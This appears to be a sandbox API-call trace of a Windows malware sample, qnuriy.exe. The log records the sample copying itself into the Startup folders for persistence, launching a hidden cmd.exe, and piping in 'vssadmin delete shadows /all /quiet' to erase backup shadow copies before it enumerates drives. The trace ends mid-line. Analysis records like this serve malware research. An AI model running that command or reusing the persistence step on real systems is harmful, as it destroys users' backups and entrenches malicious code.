hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1 [0191.334] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe", lpDst=0x54d5a0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe") returned 0x67 [0191.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5a8 | out: hHeap=0x4f0000) returned 1 [0191.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d5a0 | out: hHeap=0x4f0000) returned 1 [0191.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x21a0020 [0191.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.334] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930 [0191.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.334] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0 [0191.334] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.334] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.335] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0191.335] lstrlenW (lpString="kernel32.dll") returned 12 [0191.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.335] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1 [0191.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0191.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\qnuriy.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0191.337] ReadFile (in: hFile=0xe4, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.348] WriteFile (in: hFile=0xe8, lpBuffer=0x21a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.354] ReadFile (in: hFile=0xe4, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0191.354] CloseHandle (hObject=0xe8) returned 1 [0191.356] CloseHandle (hObject=0xe4) returned 1 [0191.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.356] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0 [0191.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.356] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930 [0191.356] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.356] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.356] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0191.356] lstrlenW (lpString="kernel32.dll") returned 12 [0191.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.356] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1 [0191.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x21a0020 | out: hHeap=0x4f0000) returned 1 [0191.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d5a0 [0191.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d5a8 [0191.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.362] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0 [0191.362] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5258e0, Size=0x40) returned 0x526a38 [0191.362] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b5b8 [0191.362] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x527bb0 [0191.362] lstrlenW (lpString="") returned 0 [0191.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8 [0191.362] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0191.362] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0191.362] RegCloseKey (hKey=0xe4) returned 0x0 [0191.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1 [0191.362] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0191.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1 [0191.362] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe", lpDst=0x54d5a0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe") returned 0x48 [0191.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5a8 | out: hHeap=0x4f0000) returned 1 [0191.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d5a0 | out: hHeap=0x4f0000) returned 1 [0191.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x21a0020 [0191.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.363] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0 [0191.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.363] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930 [0191.363] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.363] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.363] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0191.363] lstrlenW (lpString="kernel32.dll") returned 12 [0191.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1 [0191.363] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0191.363] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\qnuriy.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\qnuriy.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0191.365] ReadFile (in: hFile=0xe4, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.371] WriteFile (in: hFile=0xe8, lpBuffer=0x21a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.374] ReadFile (in: hFile=0xe4, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0191.374] CloseHandle (hObject=0xe8) returned 1 [0191.375] CloseHandle (hObject=0xe4) returned 1 [0191.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.376] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525930 [0191.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.376] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x5258e0 [0191.376] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.376] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.376] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0191.376] lstrlenW (lpString="kernel32.dll") returned 12 [0191.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1 [0191.376] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x21a0020 | out: hHeap=0x4f0000) returned 1 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b590 | out: hHeap=0x4f0000) returned 1 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b598 | out: hHeap=0x4f0000) returned 1 [0191.381] lstrlenW (lpString="%windir%\\System32") returned 17 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5269a8 | out: hHeap=0x4f0000) returned 1 [0191.381] lstrlenW (lpString="%appdata%") returned 9 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504398 | out: hHeap=0x4f0000) returned 1 [0191.381] lstrlenW (lpString="%sh(Startup)%") returned 13 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1 [0191.381] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0191.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5269f0 | out: hHeap=0x4f0000) returned 1 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504370 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x5269f0 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5269f0, Size=0x80) returned 0x54b5b8 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504370 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x52b590 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d5a0 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d5a8 [0191.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x504398 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504398, Size=0x40) returned 0x5269f0 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5269f0, Size=0x80) returned 0x54b640 [0191.382] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b640, Size=0x100) returned 0x527bb0 [0191.382] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1 [0191.382] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x54d5a0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0191.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5a8 | out: hHeap=0x4f0000) returned 1 [0191.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d5a0 | out: hHeap=0x4f0000) returned 1 [0191.382] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0191.383] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0191.383] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0191.383] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0191.383] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb70, dwThreadId=0xb74)) returned 1 [0191.427] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0191.427] WriteFile (in: hFile=0xec, lpBuffer=0x54b5b8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x54b5b8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0191.427] CloseHandle (hObject=0xfc) returned 1 [0191.427] CloseHandle (hObject=0xf8) returned 1 [0191.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b590 | out: hHeap=0x4f0000) returned 1 [0191.427] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0191.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.427] lstrlenW (lpString="%comspec%") returned 9 [0191.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1 [0191.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0191.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524a30 [0191.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x524a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0191.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5047a8 [0191.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5047a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0191.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48 [0191.429] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a48, Size=0x20) returned 0x504370 [0191.429] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x5269f0 [0191.429] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0191.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x527c28 [0191.429] GetLogicalDrives () returned 0x4 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x52b590 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a48, Size=0x20) returned 0x504370 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x526a80 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a80, Size=0x80) returned 0x54b5b8 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x529198 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x200) returned 0x529198 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x400) returned 0x529198 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x800) returned 0x5297b0 [0191.430] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5297b0, Size=0x1000) returned 0x53b5b0 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x54d5a0 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a48 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524b20 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504750 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524b38 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504760 [0191.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b50 [0191.431] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504760, Size=0x8) returned 0x504760 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b68 [0191.431] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504760, Size=0x10) returned 0x504718 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b80 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524b98 [0191.431] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504718, Size=0x20) returned 0x527ab0 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524bb0 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504760 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524bc8 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524be0 [0191.431] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x527ab0, Size=0x40) returned 0x5252d8 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524bf8 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c10 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c28 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x524c40 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c58 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c70 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x525320 [0191.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c88 [0191.431] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5252d8, Size=0x80) returned 0x529198 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ca0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524cb8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524cd0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ce8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5297c8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5297e0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5297f8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504718 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529810 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529828 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529840 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529858 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529870 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529888 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5298a0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298b8 [0191.432] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x100) returned 0x529198 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298d0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5298e8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529900 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x529918 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529930 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529948 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504728 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529960 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529978 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529990 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x527ab0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299a8 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299c0 [0191.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x527ac0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299d8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5299f0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529a08 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a20 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a38 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a50 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x529a68 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a80 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x529a98 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ab0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ac8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ae0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529af8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x527ad0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b10 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b28 [0191.433] RtlAllocateHeap 